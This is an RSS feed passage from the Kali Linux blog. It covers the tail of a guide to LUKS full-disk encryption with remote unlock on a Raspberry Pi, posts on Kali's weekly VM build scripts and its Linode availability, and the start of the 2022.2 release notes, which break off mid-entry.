&lt;li>&lt;code>Re4son-v7l+&lt;/code> is for 32-bit ARMHF armv7 devices - i.e. RPi4 or RPi400 devices&lt;/li>
&lt;li>&lt;code>Re4son-v8l+&lt;/code> is for 64-bit ARM64 armv8 devices - i.e. RPi4 or RPi400 devices&lt;/li>
&lt;/ul>
&lt;div class="notices info">
&lt;p data-header="Info">
The &lt;code>l&lt;/code> in the name stands for lpae - &lt;a href="https://wikipedia.org/wiki/ARM_architecture_family#LPAE">Large Physical Address Extension&lt;/a>
&lt;/p>
&lt;/div>
&lt;p>As a reminder, we are using the RPi4, 64-bit image. So we would need &lt;code>Re4son-v8l+&lt;/code>. Please make sure you adjust to your device.
So now we know what kernel name to use, we now need to find what kernel version. This will alter from device to device, and it will also change as and when Kali gets updates At the time of writing, it is &lt;code>5.15.44&lt;/code> for our RPi:&lt;/p>
&lt;p>Keep in mind the kernel versions may change, however the name will not:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(root㉿kali)-[/]
└─# ls -l /lib/modules/ | awk -F&amp;quot; &amp;quot; '{print $9}'
5.15.44-Re4son+
5.15.44-Re4son-v7+
5.15.44-Re4son-v7l+
5.15.44-Re4son-v8+
5.15.44-Re4son-v8l+
┌──(root㉿kali)-[/]
└─# echo &amp;quot;initramfs initramfs.gz followkernel&amp;quot; &amp;gt;&amp;gt; /boot/config.txt
&lt;/code>&lt;/pre>
&lt;div class="notices info">
&lt;p data-header="Info">
Keep in mind the kernel versions (&lt;code>5.15.44&lt;/code>) may change, however the kernel name (&lt;code>Re4son-v8l+&lt;/code>) will not.
&lt;/p>
&lt;/div>
&lt;hr>
&lt;p>Now we need to create the &lt;code>initramfs&lt;/code>. This is where the kernel version comes into play:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(root㉿kali)-[/]
└─# mkinitramfs -o /boot/initramfs.gz 5.15.44-Re4son-v8l+
&lt;/code>&lt;/pre>
&lt;hr>
&lt;p>Now we want to ensure that we created the &lt;code>initramfs&lt;/code> correctly. If there is no result, then something went wrong:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(root㉿kali)-[/]
└─# lsinitramfs /boot/initramfs.gz | grep cryptsetup
usr/lib/aarch64-linux-gnu/libcryptsetup.so.12
usr/lib/aarch64-linux-gnu/libcryptsetup.so.12.7.0
usr/lib/cryptsetup
usr/lib/cryptsetup-nuke-password
usr/lib/cryptsetup-nuke-password/crypt
usr/lib/cryptsetup/askpass
usr/lib/cryptsetup/askpass.cryptsetup
usr/lib/cryptsetup/functions
usr/sbin/cryptsetup
┌──(root㉿kali)-[/]
└─# lsinitramfs /boot/initramfs.gz | grep authorized
root-Q2iWOODUwk/.ssh/authorized_keys
┌──(root㉿kali)-[/]
└─# lsinitramfs /boot/initramfs.gz | grep unlock.sh
etc/unlock.sh
&lt;/code>&lt;/pre>
&lt;hr>
&lt;h3 id="disable-services">Disable services&lt;/h3>
&lt;p>Before we can backup, we have to ensure that &lt;code>rpi-resizerootfs&lt;/code> is disabled. This is a service we typically run on all of our ARM devices that resizes the root filesystem partition to increase the size of the partition to the full size of the storage device it is on. Since we are doing this step manually, we want to disable it, so it doesn&amp;rsquo;t potentially delete our root filesystem and re-make it:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(root㉿kali)-[/]
└─# systemctl disable rpi-resizerootfs
&lt;/code>&lt;/pre>
&lt;h2 id="backup-any-existing-data">Backup any existing data&lt;/h2>
&lt;p>Now we can ensure that all the changes are written, then we can encrypt the disk:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(root㉿kali)-[/]
└─# sync
┌──(root㉿kali)-[/]
└─# exit
$ sudo umount /mnt/chroot/{boot,sys,proc,dev/pts,dev}
$ sudo mkdir -vp /mnt/{backup,encrypted}
$ sudo rsync -avh /mnt/chroot/* /mnt/backup/
$ sudo cryptsetup luksClose crypt
$ sudo umount /mnt/chroot
$ echo -e &amp;quot;d\n2\nw&amp;quot; | sudo fdisk /dev/sdX
$ echo -e &amp;quot;n\np\n2\n\n\nw&amp;quot; | sudo fdisk /dev/sdX
&lt;/code>&lt;/pre>
&lt;h2 id="configure-the-encrypted-partitions-1">Configure the encrypted partitions&lt;/h2>
&lt;p>Depending on what device you are using you will have to use one of two commands. If you are using a RPi4 with 4GB or more, use this command:&lt;/p>
&lt;pre>&lt;code class="language-console">$ sudo cryptsetup -v -y --cipher aes-cbc-essiv:sha256 --key-size 256 luksFormat /dev/sdX2
&lt;/code>&lt;/pre>
&lt;p>Otherwise you will want to use the following which uses an older version of LUKS:&lt;/p>
&lt;pre>&lt;code class="language-console">$ sudo cryptsetup -v -y --pbkdf pbkdf2 --cipher aes-cbc-essiv:sha256 --key-size 256 luksFormat /dev/sdX2
&lt;/code>&lt;/pre>
&lt;h2 id="restore-our-data">Restore our data&lt;/h2>
&lt;p>Afterwards you can finish restoring data back to the now encrypted partition:&lt;/p>
&lt;pre>&lt;code class="language-console">$ sudo cryptsetup -v luksOpen /dev/sdX2 crypt
$ sudo mkfs.ext4 /dev/mapper/crypt
$ sudo mount /dev/mapper/crypt /mnt/encrypted/
$ sudo rsync -avh /mnt/backup/* /mnt/encrypted/
$ sync
&lt;/code>&lt;/pre>
&lt;hr>
&lt;p>The final steps that we have to make are to fix up the &lt;code>/etc/fstab&lt;/code> file for the new LUKS UUID, or you can leave it as &lt;code>/dev/mapper/crypt&lt;/code> and replace the UUID in our unlock script and remake the initramfs file, this step is important as it will not properly boot if not done, because it won&amp;rsquo;t have the information to use the encrypted filesystem! Remember to put the information in from &lt;strong>YOUR&lt;/strong> system, as the UUID will be different for every system:&lt;/p>
&lt;pre>&lt;code class="language-console">$ sudo mount /dev/sdX1 /mnt/encrypted/boot/
$ sudo mount -t proc none /mnt/encrypted/proc
$ sudo mount -t sysfs none /mnt/encrypted/sys
$ sudo mount -o bind /dev /mnt/encrypted/dev
$ sudo mount -o bind /dev/pts /mnt/encrypted/dev/pts
$ sudo env LANG=C chroot /mnt/encrypted
┌──(root㉿kali)-[/]
└─# blkid /dev/sdX2
/dev/sdX2: UUID=&amp;quot;173e2de4-0501-4d8e-9039-a4923bfa5ee7&amp;quot; TYPE=&amp;quot;crypto_LUKS&amp;quot; PARTUUID=&amp;quot;e1750e08-02&amp;quot;
┌──(root㉿kali)-[/]
└─# cat /etc/fstab
# &amp;lt;file system&amp;gt; &amp;lt;mount point&amp;gt; &amp;lt;type&amp;gt; &amp;lt;options&amp;gt; &amp;lt;dump&amp;gt; &amp;lt;pass&amp;gt;
proc /proc proc defaults 0 0
UUID=173e2de4-0501-4d8e-9039-a4923bfa5ee7 / ext4 errors=remount-ro 0 1
LABEL=BOOT /boot vfat defaults 0 2
┌──(root㉿kali)-[/]
└─# vim /etc/initramfs-tools/unlock.sh
┌──(root㉿kali)-[/]
└─# cat /etc/initramfs-tools/unlock.sh
#!/bin/sh
export PATH='/sbin:/bin:/usr/sbin:/usr/bin'
while true; do
test -e /dev/mapper/crypt &amp;amp;&amp;amp; break || cryptsetup luksOpen /dev/disk/by-uuid/173e2de4-0501-4d8e-9039-a4923bfa5ee7 crypt
done
/scripts/local-top/cryptroot
for i in $(ps aux | grep 'cryptroot' | grep -v 'grep' | awk '{print $1}'); do kill -9 $i; done
for i in $(ps aux | grep 'askpass' | grep -v 'grep' | awk '{print $1}'); do kill -9 $i; done
for i in $(ps aux | grep 'ask-for-password' | grep -v 'grep' | awk '{print $1}'); do kill -9 $i; done
for i in $(ps aux | grep '\\-sh' | grep -v 'grep' | awk '{print $1}'); do kill -9 $i; done
exit 0
┌──(root㉿kali)-[/]
└─# vim /etc/crypttab
┌──(root㉿kali)-[/]
└─# cat /etc/crypttab
crypt PARTUUID=e1750e08-02 none luks
┌──(root㉿kali)-[/]
└─# mkinitramfs -o /boot/initramfs.gz 5.15.44-Re4son-v8l+
&lt;/code>&lt;/pre>
&lt;div class="notices info">
&lt;p data-header="Info">
If you get a cryptsetup error here, similar to &lt;code>cryptsetup: ERROR: Couldn't resolve device PARTUUID=ed889dad-02&lt;/code> that means that you did not edit the &lt;code>/etc/crypttab&lt;/code> file and put the correct PARTUUID in. The warning about no fsck.luks existing can be ignored, as there is no such thing.
&lt;/p>
&lt;/div>
&lt;hr>
&lt;p>Now we can unmount and close up everything:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(root㉿kali)-[/]
└─# exit
$ sudo umount /mnt/encrypted/{boot,sys,proc,dev/pts,dev}
$ sudo umount /mnt/encrypted
$ sudo cryptsetup luksClose crypt
&lt;/code>&lt;/pre>
&lt;hr>
&lt;p>Earlier, we mentioned the LUKS Nuke capability. If you plan to use it, while booted on your freshly encrypted RPi rootfs, simply run the following command to add the Nuke password and follow the prompt:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kali:~$ sudo dpkg-reconfigure cryptsetup-nuke-password
&lt;/code>&lt;/pre>
&lt;hr>
&lt;p>Stay tuned for part two where we cover remotely connecting to the Raspberry Pi as a dropbox device!&lt;/p>
&lt;h1 id="automate">Automate!&lt;/h1>
&lt;p>Now how about we get this automated? Thanks to &lt;a href="https://github.com/unixabg">Richard Nelson (@unixabg)&lt;/a>, anyone who wants to get this all set up in much less time than the manual method and much easier, can!&lt;/p>
&lt;p>First things first, let&amp;rsquo;s download &lt;a href="https://github.com/unixabg/cryptmypi">unixabg&amp;rsquo;s cryptmypi&lt;/a> script:&lt;/p>
&lt;pre>&lt;code class="language-console">$ git clone https://github.com/unixabg/cryptmypi.git
$ cd cryptmypi/
&lt;/code>&lt;/pre>
&lt;p>There are a number of things we want to do before we can run the build scripts however. Let&amp;rsquo;s go through those together now:&lt;/p>
&lt;pre>&lt;code class="language-console">$ cp cryptmypi.conf config/.
$ cat ~/.ssh/id_rsa.pub &amp;gt;&amp;gt; config/authorized_keys
&lt;/code>&lt;/pre>
&lt;p>Now we need to edit &lt;code>cryptmypi.conf&lt;/code> to change some settings in stage-2. These settings will be personal, but let&amp;rsquo;s just give you all an example:&lt;/p>
&lt;pre>&lt;code class="language-console">$ vim config/cryptmypi.conf
$ cat config/cryptmypi.conf
##################
## cryptmypi settings
##################
# export prefix for hooks
export _VER=&amp;quot;2.2-beta&amp;quot;
# base and build
export _BASEDIR=$(pwd)
export _BUILDDIR=${_BASEDIR}/cryptmypi-build
##################
## Stage-1
##################
_IMAGEURL=https://kali.download/arm-images/kali-2022.2/kali-linux-2022.2-raspberry-pi-arm64.img.xz
# compose package actions
export _PKGSPURGE=&amp;quot;&amp;quot;
export _PKGSINSTALL=&amp;quot;&amp;quot;
# iodine settings
_IODINE_PASSWORD=&amp;quot;your iodine password goes here&amp;quot;
_IODINE_DOMAIN=&amp;quot;your iodine domain goes here&amp;quot;
# final package actions
export _FINALPKGPURGE=&amp;quot;&amp;quot;
export _FINALPKGINSTALL=&amp;quot;telnet dsniff bettercap&amp;quot;
##################
## Stage-2
##################
# block device
_BLKDEV=&amp;quot;/dev/sdb&amp;quot;
# luks encryption cipher
_LUKSCIPHER=&amp;quot;aes-cbc-essiv:sha256&amp;quot;
# luks encryption password
_LUKSPASSWD=&amp;quot;toor&amp;quot;
# root password
export _ROOTPASSWD=&amp;quot;toor&amp;quot;
&lt;/code>&lt;/pre>
&lt;p>What we changed here is the block device, LUKS encryption password, and the root password. The image URL can be changed if you would like to use a different image file, so be sure to do that now if need be.&lt;/p>
&lt;p>Now the only thing left to do is run both stages&amp;rsquo; scripts and follow the instructions. By the end of it, you&amp;rsquo;ll have a fully encrypted file-system with Dropbear SSH access!&lt;/p></description></item><item><title>Weekly Virtual Machines, with Build Scripts</title><link>https://www.kali.org/blog/kali-vm-builder-weekly/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-vm-builder-weekly/</guid><pubDate>Thu, 21 Jul 2022 00:00:00 +0000</pubDate><enclosure url="https://www.kali.org/blog/kali-vm-builder-weekly/images/kali-vm-banner.jpg" type="image/jpg"/><description>&lt;p>We have always made all our &lt;a href="https://gitlab.com/kalilinux/build-scripts/">build-scripts&lt;/a> public. These are the same set of tools which we use to generate Kali Linux (for each release, or our weekly images). You may have noticed that previously there wasn&amp;rsquo;t anything about Virtual Machines (VMs). This is because until recently it was a manually done process, which followed our guides (&lt;a href="https://www.kali.org/docs/virtualization/install-vmware-guest-vm/">VMware&lt;/a> &amp;amp; &lt;a href="https://www.kali.org/docs/virtualization/install-virtualbox-guest-vm/">VirtualBox&lt;/a>).
We have now upped our DevOps game, and automated the build process! Enter &lt;a href="https://gitlab.com/kalilinux/build-scripts/kali-vm">build-scripts/Kali-VM&lt;/a>.&lt;/p>
&lt;p>Another positive outcome of this is that it allows us to generate weekly VMs now! These images are more up-to-date, meaning less packages need updates out of the box, but the only set of tests run are the automated ones. Our release images have an additional set of Quality Assurance (QA) smoke-tests run against them, with the knowledge of &lt;code>last-snapshot&lt;/code>, meaning the packages are in a known state. You have a choice: Stable vs updates!&lt;/p>
&lt;p>Let&amp;rsquo;s start with a quick introduction to the weekly VMs, then we&amp;rsquo;ll have a glimpse at the Kali-VM build script.&lt;/p>
&lt;h1 id="weekly-kali-vms">Weekly Kali VMs&lt;/h1>
&lt;p>You can find these Kali images in the &lt;a href="https://www.kali.org/get-kali/#kali-virtual-machines">Virtual Machines section of Get Kali&lt;/a>. Scroll down a bit, they are just there. At the moment we have weekly images for VMware and VirtualBox.&lt;/p>
&lt;p>The VMware weekly image will be no surprise for those who already use the quaterly Kali VMware images: it&amp;rsquo;s pretty much identical, except that it&amp;rsquo;s built from the &lt;a href="https://www.kali.org/docs/general-use/kali-branches/">kali-rolling branch&lt;/a>. In order to use it you just need to &lt;a href="https://www.kali.org/docs/virtualization/import-premade-vmware/">import it in VMware&lt;/a>.&lt;/p>
&lt;p>However, the VirtualBox weekly image is published in a different format than the one we use for Kali releases. For various reasons, we decided to distribute it in the &amp;ldquo;native&amp;rdquo; VirtualBox format, that is: a VDI disk and a &lt;code>.vbox&lt;/code> metadata file. Fear not though, because &lt;a href="https://www.kali.org/docs/virtualization/import-premade-virtualbox/">importing this VM in VirtualBox is super easy&lt;/a>. If you&amp;rsquo;re already a user of the VirtualBox image, we&amp;rsquo;d love to hear your feedback on this new image! Feel free to drop us a word on the &lt;a href="https://gitlab.com/kalilinux/build-scripts/kali-vm/-/issues">Kali-VM GitLab repository&lt;/a>.&lt;/p>
&lt;h1 id="the-kali-vm-build-script">The Kali-VM build script&lt;/h1>
&lt;p>For the most demanding users, here&amp;rsquo;s the good news: we published the build script to generate those images! If you are wondering &amp;ldquo;Cool, but what can I do with Your Kali-VM repository,&amp;rdquo; a feature highlight (for the time being):&lt;/p>
&lt;ul>
&lt;li>Create VMs for VMware, VirtualBox, QEMU or a single VM which works with all three (aka &amp;ldquo;generic&amp;rdquo;)&lt;/li>
&lt;li>Create VMs for x64 and x86 &lt;em>(sorry, no ARM64 at this point in time!)&lt;/em>&lt;/li>
&lt;li>Create the VMs directly on the host or in a container (Docker or Podman)&lt;/li>
&lt;li>Select as many (or as little!) tools/&lt;a href="https://www.kali.org/docs/general-use/metapackages/">metapackages&lt;/a> you wish to be included&lt;/li>
&lt;li>Configure your locale, timezone, username and password&lt;/li>
&lt;/ul>
&lt;p>The build script is stable enough that we are using it in production, but its still early days. As a result, there is a roadmap of features we would like to add:&lt;/p>
&lt;ul>
&lt;li>ARM64 support&lt;/li>
&lt;li>Hyper-V support&lt;/li>
&lt;li>Hook support (allowing you to customize Kali&amp;rsquo;s settings, such as changing preferences or altering the wallpaper)&lt;/li>
&lt;li>Many more ideas!&lt;/li>
&lt;/ul>
&lt;p>&lt;em>If the above sounds great to you, we would love a hand adding it! We are gladly encouraging &lt;a href="https://gitlab.com/kalilinux/build-scripts/kali-vm/-/merge_requests">merge requests&lt;/a>! If you &lt;a href="https://gitlab.com/kalilinux/build-scripts/kali-vm/-/issues">find a bug&lt;/a>, great! Let us know as well =)&lt;/em>&lt;/p>
&lt;p>Now if you are wondering &amp;ldquo;Okay, this is pretty cool. How do I get started?&amp;rdquo; please take a look at the &lt;a href="https://gitlab.com/kalilinux/build-scripts/kali-vm/-/blob/main/README.md">README&lt;/a>. This will give you a basic idea of what requirements are needed, and how to get started. Then its just a case of looking at the help screen, and customizing the arguments to your needs!&lt;/p>
&lt;p>Want some examples to get you going?&lt;/p>
&lt;pre>&lt;code class="language-console">$ ./build.sh -v vmware
$ ./build.sh -v virtualbox -a i386 -D kde
$ ./build.sh -v virtualbox -b kali-last-snapshot -D gnome -T everything
$ ./build.sh -v qemu -D none -T none -P nmap,sqlmap
&lt;/code>&lt;/pre>
&lt;p>Happy hacking&lt;/p></description></item><item><title>Kali Linux in Linode's Cloud</title><link>https://www.kali.org/blog/kali-and-linode/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-and-linode/</guid><pubDate>Fri, 08 Jul 2022 00:00:00 +0000</pubDate><enclosure url="https://www.kali.org/blog/kali-and-linode/images/linode-banner.jpg" type="image/jpg"/><description>&lt;p>A few months ago, &lt;a href="https://www.linode.com/">Linode&lt;/a> reached out to us asking &amp;ldquo;What would be needed in order to get Kali added to Linode?&amp;rdquo;. We explained to them how all the &lt;a href="https://gitlab.com/kalilinux/build-scripts">build-scripts&lt;/a> that we used to create Kali are public, and what their different options and configurations mean. They went away and came back shortly with an image for us to try out! After a bit of testing, we can now say &amp;ldquo;Kali is in Linode&amp;hellip; (Twice)&amp;rdquo;!&lt;/p>
&lt;p>Twice? You can get Kali two ways. Either:&lt;/p>
&lt;ul>
&lt;li>Create a new Linode and select Kali as the Distribution. This gives you a bare install of Kali without any tools.&lt;/li>
&lt;li>Alternatively, go to Linode&amp;rsquo;s marketplace, and select Kali, and scroll down&amp;hellip;&lt;/li>
&lt;/ul>
&lt;p>Using Linode&amp;rsquo;s marketplace allows you to customize your Kali installation directly in the web browser! You will be asked a series of questions allowing you to personalize the installation, without having to SSH in, such as as &amp;ldquo;which &lt;a href="https://www.kali.org/docs/general-use/metapackages/">metapackages&lt;/a> to install &lt;em>(none, default, or everything)&lt;/em>&amp;rdquo; or &amp;ldquo;do you want GUI access &lt;em>(via VNC)&lt;/em>&amp;rdquo;? That&amp;rsquo;s pretty cool right?!&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-and-linode/images/marketplace-02.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-and-linode/images/marketplace-02.png" alt="marketplace options" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>Which option is best? That depends on you. Some people like to have a &lt;a href="https://www.kali.org/docs/installation/barebone-kali/">bare install&lt;/a>, without any tools, and as little packages as possible. You can install whichever package you want. This will reduce the running cost of the cloud instance and help you understand your system environment better.
However, if you want to get going as quickly as possible, or be in a more familiar graphical environment (using Xfce), then the market place option may be better!&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-and-linode/images/distribution-02.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-and-linode/images/distribution-02.png" alt="distribution" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-and-linode/images/marketplace-01.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-and-linode/images/marketplace-01.png" alt="marketplace" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>Kali is &lt;strong>free&lt;/strong> in Linode&amp;rsquo;s marketplace, the only cost is the running cost of a Cloud instance. How much is that? That depends on the system requirements you pick! There aren&amp;rsquo;t any extra changes for using Kali.&lt;/p>
&lt;p>What&amp;rsquo;s the username/password to connect? That depends! The username will be &lt;code>root&lt;/code> &lt;em>(by default)&lt;/em>, and the password will be what you set during setup. You can also use SSH keys if you selected one during setup also. If you installed via the marketplace, you can also use VNC details you entered.&lt;/p>
&lt;p>It goes without saying, also make sure you have permission. Make sure to read the &lt;a href="https://www.linode.com/legal/">Linode&amp;rsquo;s small print&lt;/a>, read over their &lt;a href="https://www.linode.com/security-solutions/">security page&lt;/a> and &lt;a href="https://cloud.linode.com/support/tickets">open up a Linode ticket&lt;/a> if you need it in writing!&lt;/p>
&lt;p>If you want more to read, check &lt;a href="https://www.linode.com/blog/linux/kali-linux-available-on-linode/">Linode&amp;rsquo;s blog post&lt;/a>, &lt;a href="https://www.linode.com/docs/products/tools/marketplace/guides/kali-linux/">Linode&amp;rsquo;s documentation&lt;/a>, as well as &lt;a href="https://www.kali.org/docs/">Kali&amp;rsquo;s documentation&lt;/a>.&lt;/p>
&lt;p>Happy Hacking!&lt;/p></description></item><item><title>Kali Linux 2022.2 Release (GNOME 42, KDE 5.24 &amp; hollywood-activate)</title><link>https://www.kali.org/blog/kali-linux-2022-2-release/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-2022-2-release/</guid><pubDate>Mon, 16 May 2022 00:00:00 +0000</pubDate><enclosure url="https://www.kali.org/blog/kali-linux-2022-2-release/images/banner-2022.2-release.jpg" type="image/jpg"/><description>&lt;p>It&amp;rsquo;s that &lt;a href="https://www.kali.org/releases/">time of year&lt;/a> again, time for another Kali Linux release! &lt;strong>Quarter #2 - Kali Linux 2022.2&lt;/strong>. This release has various impressive updates, all of which are ready for immediate &lt;a href="https://www.kali.org/get-kali/">download&lt;/a> or &lt;a href="https://www.kali.org/docs/general-use/updating-kali/">updating&lt;/a>.&lt;/p>
&lt;p>The summary of the &lt;a href="https://bugs.kali.org/changelog_page.php">changelog&lt;/a> since the &lt;a href="https://www.kali.org/blog/kali-linux-2022-1-release/">2022.1 release from February 2022&lt;/a> is:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/blog/kali-linux-2022-2-release/#gnome-42">&lt;strong>GNOME 42&lt;/strong>&lt;/a> - Major release update of the popular desktop environment&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/blog/kali-linux-2022-2-release/#kde-plasma-524">&lt;strong>KDE Plasma 5.24&lt;/strong>&lt;/a> - Version bump with a more polished experience&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/blog/kali-linux-2022-2-release/#other-desktop-enhancements">&lt;strong>Multiple desktop enhancements&lt;/strong>&lt;/a> - Disabled motherboard beep on Xfce, alternative panel layout for ARM, better support for VirtualBox shared folders, and lots more&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/blog/kali-linux-2022-2-release/#tweaks-for-the-terminal">&lt;strong>Tweaks for the terminal&lt;/strong>&lt;/a> - Enhanced Zsh &lt;code>syntax-highlighting&lt;/code>, inclusion of &lt;code>Python3-pip&lt;/code> and &lt;code>Python3-virtualenv&lt;/code> by default&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/blog/kali-linux-2022-2-release/#hollywood-activate--kali-screensaver-april-fools">&lt;strong>April fools - Hollywood mode&lt;/strong>&lt;/a> - Awesome screensaver&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/blog/kali-linux-2022-2-release/#kali-unkaputtbar">&lt;strong>Kali Unkaputtbar&lt;/strong>&lt;/a> - BTRFS snapshot support for Kali&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/blog/kali-linux-2022-2-release/#win-kex-31">&lt;strong>Win-KeX 3.1&lt;/strong>&lt;/a> - sudo support for GUI apps&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/blog/kali-linux-2022-2-release/#new-tools-in-kali">&lt;strong>New tools&lt;/strong>&lt;/a> - Various new tools added&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/blog/kali-linux-2022-2-release/#kali-nethunter-updates">&lt;strong>WPS attacks in Kali NetHunter&lt;/strong>&lt;/a> - Added WPS attacks tab to the NetHunter app&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="gnome-42">GNOME 42&lt;/h2>
&lt;p>Like for every (&lt;em>almost&lt;/em>) half-year, there is a &lt;strong>new version bump for the GNOME desktop environment&lt;/strong>. Kali 2022.2 brings the new version, GNOME 42, which is a more polished experienced following the work previously introduced in versions 40 and 41.&lt;/p>
&lt;p>&lt;strong>The shell theme now includes a more modern look&lt;/strong>, removing the arrows from the pop-up menus and using more rounded edges. In addition, we&amp;rsquo;ve &lt;strong>upgraded and tweaked the dash-to-dock extension&lt;/strong>, making it integrate better with the new look and fixing some bugs.&lt;/p>
&lt;p>Here is a preview of the upgraded Kali themes for gnome-shell:&lt;/p>
&lt;p>&lt;strong>Kali-Dark&lt;/strong>:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2022-2-release/images/gnome-42-dark-theme.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2022-2-release/images/gnome-42-dark-theme.png" alt="Kali-Dark theme for GNOME 42" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>&lt;strong>Kali-Light&lt;/strong>:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2022-2-release/images/gnome-42-light-theme.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2022-2-release/images/gnome-42-light-theme.png" alt="Kali-Light theme for GNOME 42" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h3 id="gnome-42s-built-in-screenshot-and-screencast-tool">GNOME 42&amp;rsquo;s Built-In Screenshot and Screencast Tool&lt;/h3>
&lt;p>With GNOME 42, there is one new feature that is brighter than all of the others: the screenshot and screen-recording tool. It&amp;rsquo;s an enormous improvement in terms of user experience. Screenshots are, at the same time, saved to the &lt;code>~/Pictures/Screenshots/&lt;/code> folder and copied to the clipboard, so the user does not need to find them.&lt;/p>
&lt;p>&lt;strong>Quick shortcuts to skip the On Screen Display (OSD) dialog&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Window screenshot: &lt;code>Alt + PtrScr&lt;/code>&lt;/li>
&lt;li>Full-screen screenshot: &lt;code>Shift + PtrScr&lt;/code>&lt;/li>
&lt;/ul>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2022-2-release/images/gnome-42-screenshot-tool.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2022-2-release/images/gnome-42-screenshot-tool.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="kde-plasma-524">KDE Plasma 5.24&lt;/h2>
&lt;p>This new Plasma release focuses on smoothing out wrinkles, evolving the design, and improving the overall feel and usability of the environment:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2022-2-release/images/kde-5.24.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2022-2-release/images/kde-5.24.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="other-desktop-enhancements">Other Desktop Enhancements&lt;/h2>
&lt;h4 id="xfce-tweaks">Xfce Tweaks&lt;/h4>
&lt;ul>
&lt;li>&lt;strong>Disable noisy motherboard beep&lt;/strong> when clicking the logout dialog!
Thank you &lt;a href="https://twitter.com/DavidAlvesWeb">@DavidAlvesWeb&lt;/a>!&lt;/li>
&lt;li>Configure &lt;strong>mousepad&lt;/strong> (&lt;em>text editor&lt;/em>) to &lt;strong>add the missing newline at the end of the file&lt;/strong> (&lt;em>POSIX standard&lt;/em>):
It was especially problematic if you used the text file in the terminal. Printing two files would show their respective last and first lines joined.&lt;/li>
&lt;li>Set the &lt;strong>default wallpaper for multi-monitor&lt;/strong> setups&lt;/li>
&lt;li>&lt;strong>Fix mouse pointer&lt;/strong> size to prevent &lt;strong>auto-scaling&lt;/strong> in large displays&lt;/li>
&lt;li>New simplified &lt;strong>panel layout for arm devices&lt;/strong>:
The layout we generally use for Xfce works perfectly, but it could not fit in undersized displays. This issue was common on ARM devices like the Raspberry Pi, which can use a screen the size of the board. Therefore, we have created an alternative panel layout that gets automatically applied for all ARM-based images. Here is an example of a display with a 800x480 resolution:&lt;/li>
&lt;/ul>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2022-2-release/images/arm-xfce-light-panel-theme.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2022-2-release/images/arm-xfce-light-panel-theme.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>This modification also removes the CPU graph widget, not only due to the horizontal space it required, but also because it had a performance hit in low spec ARM devices.&lt;/p>
&lt;h4 id="app-icons">App Icons&lt;/h4>
&lt;p>It has been some time since the last update of the kali menu. This time the icons for &lt;a href="https://www.kali.org/tools/nmap/">&lt;strong>nmap&lt;/strong>&lt;/a>, &lt;a href="https://www.kali.org/tools/ffuf/">&lt;strong>ffuf&lt;/strong>&lt;/a>, and &lt;a href="https://www.kali.org/tools/edb-debugger/">&lt;strong>edb-debugger&lt;/strong>&lt;/a> were improved and updated, and new ones were added for &lt;a href="https://www.kali.org/tools/evil-winrm/">&lt;strong>evil-winrm&lt;/strong>&lt;/a> and &lt;a href="https://www.kali.org/tools/bloodhound/">&lt;strong>bloodhound&lt;/strong>&lt;/a>.&lt;/p>
&lt;p>Another improvement for the app dashboard is that the &lt;strong>programs that include a user interface will now respect the custom icon provided by Kali&lt;/strong>. Previously, the icon in the app drawer showed the proper image, but once you launched it, the icon hardcoded to the program took preference, usually using a lower quality and pixelated image. This change &lt;strong>will only affect KDE and GNOME&lt;/strong> desktops and, unfortunately, does not work on Xfce. Thankfully, this issue was more noticeable in these desktops, as icons in Xfce&amp;rsquo;s panel are tiny.&lt;/p>
&lt;p>&lt;strong>Before&lt;/strong>:&lt;/p>
&lt;p>&lt;p style="text-align: center">
